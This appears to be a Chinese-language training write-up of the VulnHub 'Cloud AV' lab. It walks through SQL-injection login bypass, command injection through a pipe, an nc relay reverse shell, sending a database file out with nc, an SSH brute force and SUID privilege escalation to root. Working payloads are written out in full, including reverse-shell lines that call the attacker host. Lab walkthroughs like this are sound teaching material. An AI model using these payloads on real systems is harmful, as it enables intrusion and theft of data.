0x00 靶机介绍
靶机地址:BoredHackerBlog: Cloud AV ~ VulnHub
靶机难度:低(思路和技巧)
推荐虚拟机:VirtualBox
0x01 内容简介
-
涉及的攻击方法
- 端口扫描
- WEB侦查
- SQL注入
- 命令注入
- 密码爆破
- 代码审计
- NC串联
- 本地提权
-
简介
虽说难度级别为低,但是从还原整个渗透过程的角度来看,这个靶机非常全面。
为了更加全面的还原真实渗透思路,所以即便是失败的尝试过程,我也为大家完整的进行了展示。同时最终的总结阶段,我增加了图示来突出渗透过程的线索,希望将成果与收获沉淀下来,成为学员头脑中可复用的经验。
-
背景
- 是一个云防病毒扫描服务!目前处于测试阶段
-
打靶目标
- 渗透该服务,找出漏洞并提权
0x02 环境搭建
下载好靶机.ova
文件后导入到VirtualBox中即可
确保靶机和kali在同一网段中
kali IP地址:10.0.2.7
0x03 主机发现
因为靶机和kali在同一网段中,所以优先选择二层的主机发现技术
上次使用了arp-scan
这个工具,本次使用arping
,做同一件事情使用不同的工具原因如下
arp-scan
与arping
对比
- 相同点
- 都可用来二层的主机发现
- 不同点
arp-scan
更倾向于渗透测试使用的工具,更接近于黑客工具的定位arping
是几乎所有的Linux发行版当中都会默认包含的一个工具,从工具的广泛度而言arping
可以在更多的环境下使用它,因为在很多情况下,渗透的目标系统可能并不包含像arp-scan
这种更倾向于黑客的工具
使用arping
进行主机发现,短板是没有办法对一段的IP地址进行一次性的,统一的主机发现;所以使用时需要结合shell的循环语句
对kali所在的网段10.0.2.1
-10.0.2.254
进行扫描
执行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done
10.0.2.1-3
这三个IP是虚拟机软件为了完成基本功能所使用到的IP,所以一定不是靶机IP,故10.0.2.8
就为靶机的IP
对10.0.2.8
进行全端口的扫描
执行命令:sudo nmap -p- 10.0.2.8
扫描结果显示开放了22
和8080
两个端口,继续对22
和8080
两个端口进行服务版本的发现
执行命令:sudo nmap -p22,8080 -sV 10.0.2.8
这些命令和参数都是非常通用的,即便在真实的渗透环境下,基本上也是按照这样的顺序,先做主机发现,然后做端口扫描,最后再做服务和应用版本的发现
扫描结果显示
22
端口,开放的是OpenSSH 7.6p1
这个版本的的SSH
服务8080
端口,开放的是httpd
服务,并且服务端仍然使用的是Werkzeug
这个使用python开发的web应用底层开发框架,和靶机01的情况完全相同
0x04 WEB侦察
既然开放了web服务,那么肯定要打开浏览器访问一下:http://10.0.2.8:8080
从页面的提示信息中可以得到,这是一个云杀毒扫描器,需要输入邀请码成功登录后才可以使用,云查杀服务。
这里的邀请码本质上就类似于密码的作用,页面中的表单即为要攻破目标靶机的第一关任务
通过密码来进行身份验证的功能,攻击思路一般有两个
- 利用程序在服务端代码上的逻辑漏洞,通过sql注入的方式绕过身份验证
- 暴力破解方式,将密码破解出来
接下来逐一演示这两种方法,打靶的时候选择其中一种就可以了
0x04-1 SQL注入绕过身份验证
首先打开burpsuite
并在浏览器上设置好burpsuite
的代理
在页面表单中随便输入一点内容,点击Log in按钮
可以看到burpsuite
抓取到了本次提交的数据包,将其发送到Intruder
模块,利用其批量的,重复的数据提交能力向password
这个位置提交一些特殊的符号,来测试服务端是否包含一些常见的注入漏洞
在Intruder
模块将password
添加成数据的注入点
配置Payloads
,可以将键盘上的所有符号挨个注入一遍
背后的原因是在任何的编程语言环境中,键盘上可以输入的符号,比如:, ' " %,都具有特殊的功能性的作用,当在注入点注入了所有的符号后,如果在这个位置存在某种注入漏洞的话,往往就会导致服务器端代码执行出错或者触发漏洞,造成语义上的歧义,从而造成服务器端无法正常处理提交的请求,最后通过触发这些漏洞就可以发现服务器端可能存在的注入漏洞。
手动添加或导入以下内容的字典文件
`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/
添加完成之后,点击右上角的start attack
按钮,开始爆破
对于数据提交之后的结果筛选通常会有两种方法
- 通过响应的码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同
- 通过响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的
结果显示,提交数据为"
时服务器端响应码与其余的不同,而且响应的数据量远远大于其他数据提交请求的响应
查看几个响应码是200
的数据包,发现返回的内容都是WRONG INFORMATION
再查看响应码是500
的数据包
通过查看响应内容发现,当提交数据为"
的时候似乎触发了服务端的异常报错
从返回的报错中可以看到目标服务器的很多文件系统路径,发现当前服务端运行的应用程序具体放置在那个路径之下,文件名叫什么,透漏了很多服务端具体的信息,比如/home/scanner/cloudav_app/app.py
最后一行显示/home/scanner/cloudav_app/app.py
第18行,由于注入了"
而导致了这个报错,其中有一段是sql的查询语句,可以猜测提交的"
似乎是被拼接到了当前的sql查询语句当中
拼接sql语句的代码为
select * from code where password="; + password + ";
当提交的数据为"
时,sql语句就会变成这样
select * from code where password="; + " + ";
第一个"
与我们提交的"
进行了闭合,导致了最后一个"
没有另外一个"
与其闭合,从而触发了服务端代码执行的错误
这是一个典型的sql注入漏洞,尝试构造Payloads,攻击这条sql语句,实现在不知道密码/邀请码的情况下也可以登录后台
经常使用的一个攻击方法就是通过逻辑或
,Payloads如下
select * from code where password="; + " or 1=1-- + ";
由于or 1=1
永远为真,所以不论双引号中包裹的是什么数据,最终在执行sql语句的过程中都会判定后面的判断语句为真
--
表示的是sql语句中注释符(注意后面--还有有一个空格)
关闭burpsuite数据包拦截功能,通过浏览器提交构造的Payloads
" or 1=1--
点击log in
按钮,提交到服务端
成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀
0x04-2 暴力破解邀请码
首先打开burpsuite
并在浏览器上设置好burpsuite
的代理
在页面表单中随便输入一点内容,点击Log in按钮
可以看到burpsuite
抓取到了本次提交的数据包,将其发送到Intruder
模块,利用其批量的,重复的数据提交能力向password
这个位置尝试进行爆破
在Intruder
模块将password
添加成爆破点
选择爆破密码使用的字典文件
在kali的/usr/share/wordlists
目录下存放着很多的密码字典文件可供选择,本次就选择一个比较简单的,比如nmap.lst
这个nmap
通常使用的字典文件
加载好密码字典文件后,点击右上角的Start attack
按钮开始爆破
对于数据提交之后的结果筛选通常会有两种方法
- 通过响应的码的方式。提交正确的数据和错误的数据,往往服务端的响应码会有些不同
- 通过响应长度的方式。提交正确的数据和错误的数据,往往服务端的响应的数据内容会不太相同,数据量是会有所差别的
结果显示,提交password
的服务器响应数据量远远大于其他数据提交请求的响应
查看几个响应数据长度是175
的数据包,发现返回的内容都是WRONG INFORMATION
查看唯一一个返回数据包长度是345
的响应
发现当提交数据为password
时,服务端返回的响应包含重定向,重定向到了/scan
路径下
尝试在浏览器表单中输入password
并提交
点击log in
按钮,提交到服务端
成功登录到了后台,从页面内容中可以得知,在表单中输入文件名,提交到服务端之后,服务端就会对这个文件进行查杀
0x05 命令注入
构想一下这个web应用程序是如何实现防病毒扫描的
首先对于红框中的部分,很容易联想到在Linux系统中执行ls -l
返回的结果,所以有理由猜测显示的文件就是放置在服务端的一些文件
可以猜测,当在表单中输入某个文件名比如hello
并提交给服务器后,服务器端可能会调用某种杀毒软件比如xxxscan
,执行命令xxxscan hello
,来进行扫描
如果真是这样的话就可以利用Linux shell中的管道符来执行其他的命令
管道符号,是Linux一个很强大的功能,符号为一条竖线:"|"。
用法:command 1 | command 2
功能是把第一个命令command 1执行的结果作为command2的输入传给第二个命令command 2
利用管道构造Payloads
hello | id
在浏览器的表单中提交Payloads
等待片刻之后,发现注入的id
命令的确被服务端执行了
结果显示当前程序运行的账号是scanner
,既然命令注入漏洞已证实存在,接下来就可以通过注入更多的执行来完成反弹shell的目的
0x06 NC串联
通过之前的扫描结果可以得知服务器端有Python的执行环境,所以可以使用靶机01中的Python反弹shell代码
但是在这里介绍一种新的方式,使用nc
命令
查看服务器端是否有nc
命令,构造Payloads
hello | which nc
在浏览器的表单中提交Payloads,等待片刻之后
结果显示服务器端包含有nc
这个命令,那么接下来就可以使用nc
来反弹shell
首先在kali端启动侦听
执行命令:nc -nvlp 4444
通常情况下nc
命令都会有一个-e
参数,可以指定在连接成功后,执行一个shell的终端,将接收到的数据放到shell终端中执行并返回结果
利用nc
命令反弹shell,构造Payloads
hello | nc 10.0.2.7 4444 -e /bin/sh
在浏览器的表单中提交Payloads,等待一段时间之后,发现kali上的nc
并没有接收到反弹的shell连接,这是因为
nc
命令有很多的版本,在每一个Linux发行版当中都可能使用不同的版本,有的版本带-e
参数,有的版本不带-e
参数
将-e
参数去掉,看看能不能连接成功
构造Payloads
hello | nc 10.0.2.7 4444
在浏览器的表单中提交Payloads,等待片刻之后,发现服务端nc
的基本连接成功可以正常使用
也就意味着服务器端nc
的确存在且可以正常使用,只是不带-e
参数
对于此种情况可以利用到一个使用nc
的技巧,叫做
nc串联
具体使用方法是
nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
执行的逻辑是:nc 10.0.2.7 3333
接收来自远程的命令,通过管道符|
将命令传递给/bin/bash
来执行,再次通过管道符|
将命令执行的结果传输给nc 10.0.2.7 4444
利用此种方法需要再kali上开启两个侦听端口
执行命令:nc -nvlp 3333
nc -nvlp 4444
构造Payloads
hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444
在浏览器的表单中提交Payloads,等待片刻之后
3333
端口和4444
端口连接都建立成功,并且在3333
端口上输入命令,执行的结果会在4444
端口这边显示出来,利用nc
命令反弹shell成功
0x07 查看SQLite数据库
通过以上的ls
命令可以看出在当前目录下存在app.py
和database.sql
等4个文件
首先对app.py
进行代码审计一下,查看是否有提权的漏洞
执行命令:cat app.py
一番审计过后,并没有发现什么后期提权为root
用户似乎并没有什么帮助
再来关注一下database.sql
文件,使用file
命令查看文件的格式
file命令用来识别文件类型,也可用来辨别一些文件的编码格式。它是通过查看文件的头部信息来获取文件类型,而不是像Windows通过扩展名来确定文件类型的。
执行命令:file database.sql
从结果中可以得知这是一个SQLite 3.x的数据库文件,结合之前sql注入返回的报错信息,有理由怀疑这个数据库文件就是web应用程序服务端使用的数据库,因为SQLite就是一个本地的数据库,数据库的内容都是以数据库文件的方式存放在目标服务器的文件目录下
这里面是否包括一些机密的信息呢?有理由要查看一下,尝试打开这个数据库文件
执行命令:sqlite
sqlite3
执行命令之后无任何回显结果,说明在目标靶机上没有sqlite解析环境,所以不得不将database.sql
数据库文件下载到kali上进行解析
通过nc
命令来传输文件
首先在kali上侦听一个端口,并将接收到的数据转发到db.sql
这个文件当中
执行命令:nc -nvlp 5555 > db.sql
在目标靶机上,通过nc
连接kali,并通过重定向命令发送文件
执行命令:nc 10.0.2.7 5555 < database.sql
命令执行完毕之后,在kali端接收到了连接,因为database.sql
文件不是很大,很快就可以传输完毕,所以等待一会之后就可以结束nc
在5555端口上的连接
查看当前目录
db.sql
已经创建成功,使用kali中的sqlite打开数据库文件,
执行命令:sqlite3
,进入sqlite的命令提示符下
接着查看数据库的内容
从显示的数据中可以看到,数据表code
中只有一个字段password
,其中导入了四个密码
0x08 SSH爆破
从数据库中获得了四个明文密码,又由于之前的扫描得知目标系统是开启SSH服务的,按照流程应该利用账号及这些密码尝试能否成功登录目标系统
首先查看目标系统中可以登录的用户账号
利用nc
在目标系统上执行命令:cat /etc/passwd
或者 cat /etc/passwd | grep /bin/bash
从中可以得到3个可用于登录系统的账号
禁止用户登陆的 /bin/false和/sbin/nologin的区别
1 区别
/bin/false是最严格的禁止login选项,一切服务都不能用。
/sbin/nologin只是不允许login系统小技巧:
查看 /etc/passwd文件,能看到各用户使用的shell2.1 nologin
当用户配置成/sbin/nologin时,如果再使用该用户ssh到linux操作系统,会提示
This account is currently not available.2.2 false
当用户配置成/bin/false时,ssh之后显示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root不会有任何提示,用户切换不过去
将这三个账号保存为用户名字典文件user.txt
,内容如下
再将数据库中的四条密码保存为密码文件pass.txt
,内容如下
使用hydra
命令对SSH进行爆破
执行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8
执行结果令人失望,没有在其中得到任何一个可用的账号密码,通过账号密码远程登录目标系统SSH服务的攻击意图失败了...
这是一个失败的尝试
当在做真实的渗透测试攻击时,经常会收集到看似有用的信息,比如账号密码信息,但是拿着已经获得的机密信息去做进一步攻击时往往是会失败的,虽然攻击结果是失败的,但是并不代表这这一次的尝试是无意义的,其实这些看似失败的尝试也是在进行渗透测试攻击思路中非常重要的一部分,所以当收集到这样的信息时,做这样的尝试是非常非常有必要的。
0x09 SUID提权
既然通过SSH爆破的攻击方式失败了,接下来就不得不在目标系统上进行其他的信息收集手段寻找可以成功提权的攻击手段
查看当前目录及子目录下的文件内容,看看有没有对提权有帮助的信息
一番查看并没有寻找对提权到什么有用的信息
回到上一级目录,再看看其他的文件内容信息
对于其中以.
开头的隐藏文件也是有必要一个一个检查的,不过经过一番查看后在这些隐藏文件中也并没有发现对做提权攻击有帮助的信息
不多啰嗦了,接下来就直奔对做提权攻击有帮助的目标
可以看到在当前目录下有update_cloudav
和update_cloudav.c
这两个文件名称相同的文件,其中update_cloudav
是一个可执行的文件,那么就有理由怀疑update_cloudav.c
是update_cloudav
的源代码文件
值得注意的是update_cloudav
权限是-rwsr-xr-x
,是带suid
权限标记位的,更令人惊喜的是这个程序的属主是root
账号
凡是具有
suid
权限标记位的可执行文件,当这个文件一旦执行的时候,无论当前是任何用户账号,在执行这个文件后就会默认继承这个文件属主的权限,也就是root
的权限可以设想一下如果可以执行
update_cloudav
程序,再通过某种命令注入的方法,利用它的suid
权限标记位,若利用成功就可以用root
权限来执行目标系统中的命令,包括任何可以反弹shell的命令,最终的结果就都会形成获得了一个root
权限的反弹shell
所以suid
位也是进行本地提权非常重要的一种手段,当然靶机01使用到的利用内核漏洞进行本地提权的手段也非常重要,它们俩都非常的常用
顺着这个思路,为了实现提权,非常有必要查看一下update_cloudav
的源代码文件,看看这个程序是如何调用系统指令,如何跟系统进行交互的
利用nc
在目标系统上执行命令:cat update_cloudav.c
简单查看之后,发现这个C语言源代码文件非常的简单,仅仅时调用了系统当时已经存在的程序freshclam
,同时强制要求在执行的时候传递一个或多个命令行参数,最终将freshclam
与传递的参数拼接起来执行。
其中freshclam
是开源杀毒软件的ClamAV
进行病毒库更新的程序,参考连接:ClamAV病毒查杀 - 简书 (jianshu.com)
C语言函数
函数名:setgid - set group identity(设置组ID)
函数名 setuid - set user identity(设置用户ID)
参考连接:
- setuid与setgid讲解 - 简书 (jianshu.com)
- linux c setuid函数解析_whatday的博客-CSDN博客_linux setuid函数
随便跟一个参数,执行一下update_cloudav
试试
程序似乎报错了
现在并不清楚关于这个日志文件
freshclam.log
的报错是否会影响update_cloudav
程序的正常运行,进而又是否会影响尝试利用这个程序的suid
权限标记位来达到提权的目的在真实的渗透测试过程中,很多时候获得的信息也并不完整,所以很多情况下都需要大胆尝试,按照我们头脑当中构想的渗透思路,通过实践来验证我们的攻击思路
接下来不妨大胆的尝试一下再次利用NC串联
来构造Payloads,进而反弹shell
构造的Payloads如下
"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"
之所以要用双引号将所有的内容包裹起来是为了让update_cloudav
这个程序将双引号中的内容全部作为执行它的命令行参数,从而继承它的的suid
权限,获得root
权限的反弹shell
在执行这个Payloads之前需要在kali行侦听5555
和6666
两个端口
执行命令:nc -nvlp 5555
nc -nvlp 6666
然后通过nc
在目标系统上执行构造的Payloads
执行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"
执行完毕后查看kali端侦听的两个端口是否建立了连接
可以看到连接成功建立,NC串联再次成功
可喜可贺,取得了root
权限的反弹shell,本次打靶圆满完成!
0x0a 总结
- 打靶过程图片概述
- 打靶过程文字概述
- 首先做了主机发现,发现靶机IP地址之后,对它进行了端口扫描以及服务版本的扫描,进而发现了一个工作在目标靶机8080端口的HTTP服务
- 通过浏览器访问8080端口上的WEB服务,在默认的WEB页面上发现了sql注入漏洞,使用sql注入漏洞或暴力破解邀请码的方式登录到了WEB应用的后台
- 在后台页面中,很容易的发现的一个命令注入漏洞,并且利用这个命令注入漏洞获得了一个反弹shell
- 取得了反弹shell之后,要做的就是在目标靶机上进行信息收集,在这个阶段当中发现了一个数据库文件,在其中发现了一些疑似密码的字符串
- 利用这些疑似为密码的字符串尝试进行SSH密码暴力破解,然后并没有成功
- 于是不得不进一步再去收集更多的信息,最终在目标系统上发现了拥有
suid
权限的可执行程序 - 通过代码审计发现了代码当中的一些问题,并找到了利用
suid
提权漏洞的攻击方式 - 最终取得了目标靶机的
root
权限,完成了整个的打靶过程
- 打靶过程对应的视频链接:点击查看